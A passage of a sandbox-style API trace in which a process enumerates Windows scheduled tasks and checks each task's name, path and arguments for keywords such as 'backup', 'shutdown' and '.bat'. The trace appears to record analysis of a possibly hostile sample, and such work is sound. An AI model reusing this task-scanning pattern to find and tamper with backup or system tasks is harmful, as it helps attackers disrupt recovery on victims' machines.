Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0210.133] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0210.133] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0210.133] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0210.133] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0210.133] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0210.133] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0210.133] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0210.133] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0210.133] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0210.133] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.133] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoActivateWindowsSearch") returned 0x0 [0210.133] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0210.134] wcsstr (_Str="/doactivatewindowssearch", _SubStr="reboot") returned 0x0 [0210.134] wcsstr (_Str="/doactivatewindowssearch", _SubStr="restart") returned 0x0 [0210.134] wcsstr (_Str="/doactivatewindowssearch", _SubStr="shutdown") returned 0x0 [0210.134] wcsstr (_Str="/doactivatewindowssearch", _SubStr="logoff") returned 0x0 [0210.134] wcsstr (_Str="/doactivatewindowssearch", _SubStr=".bat") returned 0x0 [0210.134] wcsstr (_Str="/doactivatewindowssearch", _SubStr="backup") returned 0x0 [0210.134] wcsstr (_Str="/doactivatewindowssearch", _SubStr=".cmd") returned 0x0 [0210.134] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0210.134] IUnknown:Release (This=0x2463748) returned 0x2 [0210.134] IUnknown:Release (This=0x2463748) returned 0x1 [0210.134] IUnknown:Release (This=0x47fcb8) returned 0x1 [0210.134] IUnknown:Release (This=0x2464f38) returned 0x0 [0210.134] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.134] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.134] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ConfigureInternetTimeService") returned 0x0 [0210.134] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.135] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3a) returned 0x6c2620 [0210.135] wcsstr (_Str="configureinternettimeservice", _SubStr="reboot") returned 0x0 [0210.136] wcsstr (_Str="configureinternettimeservice", _SubStr="restart") returned 0x0 [0210.136] wcsstr (_Str="configureinternettimeservice", _SubStr="shutdown") returned 0x0 [0210.136] wcsstr (_Str="configureinternettimeservice", _SubStr="logoff") returned 0x0 [0210.136] wcsstr (_Str="configureinternettimeservice", _SubStr=".bat") returned 0x0 [0210.136] wcsstr (_Str="configureinternettimeservice", _SubStr="backup") returned 0x0 [0210.136] wcsstr (_Str="configureinternettimeservice", _SubStr=".cmd") returned 0x0 [0210.136] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2620) returned 1 [0210.136] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464ec0) returned 0x0 [0210.140] ITaskDefinition:get_Actions (in: This=0x2464ec0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464f38) returned 0x0 [0210.140] IActionCollection:get_Count (in: This=0x2464f38, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.140] IActionCollection:get_Item (in: This=0x2464f38, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.140] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.140] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0210.140] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0210.140] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0210.140] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0210.140] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0210.140] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0210.140] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0210.140] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0210.141] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0210.141] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0210.141] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.141] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoConfigureInternetTimeService") returned 0x0 [0210.141] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2620 [0210.141] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="reboot") returned 0x0 [0210.141] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="restart") returned 0x0 [0210.141] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="shutdown") returned 0x0 [0210.141] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="logoff") returned 0x0 [0210.141] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr=".bat") returned 0x0 [0210.141] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="backup") returned 0x0 [0210.141] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr=".cmd") returned 0x0 [0210.141] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2620) returned 1 [0210.141] IUnknown:Release (This=0x2463748) returned 0x2 [0210.141] IUnknown:Release (This=0x2463748) returned 0x1 [0210.141] IUnknown:Release (This=0x2464f38) returned 0x1 [0210.141] IUnknown:Release (This=0x2464ec0) returned 0x0 [0210.141] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.141] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.141] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="DispatchRecoveryTasks") returned 0x0 [0210.141] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.143] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2c) returned 0x6cab40 [0210.143] wcsstr (_Str="dispatchrecoverytasks", _SubStr="reboot") returned 0x0 [0210.143] wcsstr (_Str="dispatchrecoverytasks", _SubStr="restart") returned 0x0 [0210.143] wcsstr (_Str="dispatchrecoverytasks", _SubStr="shutdown") returned 0x0 [0210.143] wcsstr (_Str="dispatchrecoverytasks", _SubStr="logoff") returned 0x0 [0210.143] wcsstr (_Str="dispatchrecoverytasks", _SubStr=".bat") returned 0x0 [0210.143] wcsstr (_Str="dispatchrecoverytasks", _SubStr="backup") returned 0x0 [0210.143] wcsstr (_Str="dispatchrecoverytasks", _SubStr=".cmd") returned 0x0 [0210.143] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab40) returned 1 [0210.143] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f38) returned 0x0 [0210.148] ITaskDefinition:get_Actions (in: This=0x2464f38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fcb8) returned 0x0 [0210.148] IActionCollection:get_Count (in: This=0x47fcb8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.148] IActionCollection:get_Item (in: This=0x47fcb8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.148] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.148] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0210.148] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0210.148] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0210.149] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0210.149] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0210.149] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0210.149] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0210.149] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0210.149] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0210.149] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0210.149] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.149] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoRecoveryTasks $(Arg0)") returned 0x0 [0210.149] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0210.149] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="reboot") returned 0x0 [0210.149] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="restart") returned 0x0 [0210.149] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="shutdown") returned 0x0 [0210.149] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="logoff") returned 0x0 [0210.149] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr=".bat") returned 0x0 [0210.149] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="backup") returned 0x0 [0210.149] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr=".cmd") returned 0x0 [0210.149] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0210.149] IUnknown:Release (This=0x2463748) returned 0x2 [0210.149] IUnknown:Release (This=0x2463748) returned 0x1 [0210.149] IUnknown:Release (This=0x47fcb8) returned 0x1 [0210.149] IUnknown:Release (This=0x2464f38) returned 0x0 [0210.149] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.149] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.149] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ehDRMInit") returned 0x0 [0210.149] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.151] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e6ad0 [0210.151] wcsstr (_Str="ehdrminit", _SubStr="reboot") returned 0x0 [0210.151] wcsstr (_Str="ehdrminit", _SubStr="restart") returned 0x0 [0210.151] wcsstr (_Str="ehdrminit", _SubStr="shutdown") returned 0x0 [0210.151] wcsstr (_Str="ehdrminit", _SubStr="logoff") returned 0x0 [0210.151] wcsstr (_Str="ehdrminit", _SubStr=".bat") returned 0x0 [0210.151] wcsstr (_Str="ehdrminit", _SubStr="backup") returned 0x0 [0210.151] wcsstr (_Str="ehdrminit", _SubStr=".cmd") returned 0x0 [0210.151] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0210.151] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f28) returned 0x0 [0210.156] ITaskDefinition:get_Actions (in: This=0x2464f28, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464fa0) returned 0x0 [0210.156] IActionCollection:get_Count (in: This=0x2464fa0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.156] IActionCollection:get_Item (in: This=0x2464fa0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.156] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.156] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0210.156] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0210.156] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0210.156] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0210.156] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0210.156] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0210.156] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0210.156] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0210.156] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0210.156] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0210.156] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.156] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DRMInit") returned 0x0 [0210.156] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0210.156] wcsstr (_Str="/drminit", _SubStr="reboot") returned 0x0 [0210.156] wcsstr (_Str="/drminit", _SubStr="restart") returned 0x0 [0210.156] wcsstr (_Str="/drminit", _SubStr="shutdown") returned 0x0 [0210.156] wcsstr (_Str="/drminit", _SubStr="logoff") returned 0x0 [0210.156] wcsstr (_Str="/drminit", _SubStr=".bat") returned 0x0 [0210.156] wcsstr (_Str="/drminit", _SubStr="backup") returned 0x0 [0210.156] wcsstr (_Str="/drminit", _SubStr=".cmd") returned 0x0 [0210.156] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0210.156] IUnknown:Release (This=0x2463748) returned 0x2 [0210.156] IUnknown:Release (This=0x2463748) returned 0x1 [0210.156] IUnknown:Release (This=0x2464fa0) returned 0x1 [0210.156] IUnknown:Release (This=0x2464f28) returned 0x0 [0210.157] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.157] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.157] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="InstallPlayReady") returned 0x0 [0210.157] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.158] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0210.158] wcsstr (_Str="installplayready", _SubStr="reboot") returned 0x0 [0210.158] wcsstr (_Str="installplayready", _SubStr="restart") returned 0x0 [0210.158] wcsstr (_Str="installplayready", _SubStr="shutdown") returned 0x0 [0210.158] wcsstr (_Str="installplayready", _SubStr="logoff") returned 0x0 [0210.158] wcsstr (_Str="installplayready", _SubStr=".bat") returned 0x0 [0210.158] wcsstr (_Str="installplayready", _SubStr="backup") returned 0x0 [0210.158] wcsstr (_Str="installplayready", _SubStr=".cmd") returned 0x0 [0210.158] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0210.158] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f38) returned 0x0 [0210.164] ITaskDefinition:get_Actions (in: This=0x2464f38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fcb8) returned 0x0 [0210.164] IActionCollection:get_Count (in: This=0x47fcb8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.164] IActionCollection:get_Item (in: This=0x47fcb8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.164] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.164] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0210.164] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0210.164] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0210.164] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0210.164] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0210.164] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0210.164] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0210.164] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0210.164] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0210.164] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0210.164] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.164] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/InstallPlayReady $(Arg0)") returned 0x0 [0210.164] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x34) returned 0x6c9c90 [0210.164] wcsstr (_Str="/installplayready $(arg0)", _SubStr="reboot") returned 0x0 [0210.165] wcsstr (_Str="/installplayready $(arg0)", _SubStr="restart") returned 0x0 [0210.165] wcsstr (_Str="/installplayready $(arg0)", _SubStr="shutdown") returned 0x0 [0210.165] wcsstr (_Str="/installplayready $(arg0)", _SubStr="logoff") returned 0x0 [0210.165] wcsstr (_Str="/installplayready $(arg0)", _SubStr=".bat") returned 0x0 [0210.165] wcsstr (_Str="/installplayready $(arg0)", _SubStr="backup") returned 0x0 [0210.165] wcsstr (_Str="/installplayready $(arg0)", _SubStr=".cmd") returned 0x0 [0210.165] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0210.165] IUnknown:Release (This=0x2463748) returned 0x2 [0210.165] IUnknown:Release (This=0x2463748) returned 0x1 [0210.165] IUnknown:Release (This=0x47fcb8) returned 0x1 [0210.165] IUnknown:Release (This=0x2464f38) returned 0x0 [0210.165] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.165] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.165] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="mcupdate") returned 0x0 [0210.165] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.189] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0210.189] wcsstr (_Str="mcupdate", _SubStr="reboot") returned 0x0 [0210.189] wcsstr (_Str="mcupdate", _SubStr="restart") returned 0x0 [0210.189] wcsstr (_Str="mcupdate", _SubStr="shutdown") returned 0x0 [0210.189] wcsstr (_Str="mcupdate", _SubStr="logoff") returned 0x0 [0210.190] wcsstr (_Str="mcupdate", _SubStr=".bat") returned 0x0 [0210.190] wcsstr (_Str="mcupdate", _SubStr="backup") returned 0x0 [0210.190] wcsstr (_Str="mcupdate", _SubStr=".cmd") returned 0x0 [0210.190] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0210.190] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f28) returned 0x0 [0210.195] ITaskDefinition:get_Actions (in: This=0x2464f28, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464fa0) returned 0x0 [0210.195] IActionCollection:get_Count (in: This=0x2464fa0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.195] IActionCollection:get_Item (in: This=0x2464fa0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.195] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.195] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.196] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate") returned 0x0 [0210.196] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x38) returned 0x6c9c90 [0210.196] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="reboot") returned 0x0 [0210.196] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="restart") returned 0x0 [0210.196] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="shutdown") returned 0x0 [0210.196] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="logoff") returned 0x0 [0210.196] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr=".bat") returned 0x0 [0210.196] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="backup") returned 0x0 [0210.196] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr=".cmd") returned 0x0 [0210.196] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0210.196] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="$(Arg0)") returned 0x0 [0210.196] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea578 [0210.196] wcsstr (_Str="$(arg0)", _SubStr="reboot") returned 0x0 [0210.196] wcsstr (_Str="$(arg0)", _SubStr="restart") returned 0x0 [0210.196] wcsstr (_Str="$(arg0)", _SubStr="shutdown") returned 0x0 [0210.196] wcsstr (_Str="$(arg0)", _SubStr="logoff") returned 0x0 [0210.196] wcsstr (_Str="$(arg0)", _SubStr=".bat") returned 0x0 [0210.196] wcsstr (_Str="$(arg0)", _SubStr="backup") returned 0x0 [0210.196] wcsstr (_Str="$(arg0)", _SubStr=".cmd") returned 0x0 [0210.196] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea578) returned 1 [0210.196] IUnknown:Release (This=0x2463688) returned 0x2 [0210.196] IUnknown:Release (This=0x2463688) returned 0x1 [0210.196] IUnknown:Release (This=0x2464fa0) returned 0x1 [0210.196] IUnknown:Release (This=0x2464f28) returned 0x0 [0210.196] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.196] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.196] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="MediaCenterRecoveryTask") returned 0x0 [0210.196] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.198] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6caad0 [0210.198] wcsstr (_Str="mediacenterrecoverytask", _SubStr="reboot") returned 0x0 [0210.198] wcsstr (_Str="mediacenterrecoverytask", _SubStr="restart") returned 0x0 [0210.198] wcsstr (_Str="mediacenterrecoverytask", _SubStr="shutdown") returned 0x0 [0210.198] wcsstr (_Str="mediacenterrecoverytask", _SubStr="logoff") returned 0x0 [0210.198] wcsstr (_Str="mediacenterrecoverytask", _SubStr=".bat") returned 0x0 [0210.198] wcsstr (_Str="mediacenterrecoverytask", _SubStr="backup") returned 0x0 [0210.198] wcsstr (_Str="mediacenterrecoverytask", _SubStr=".cmd") returned 0x0 [0210.198] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0210.198] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f38) returned 0x0 [0210.203] ITaskDefinition:get_Actions (in: This=0x2464f38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fcb8) returned 0x0 [0210.203] IActionCollection:get_Count (in: This=0x47fcb8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0210.203] IActionCollection:get_Item (in: This=0x47fcb8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.203] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 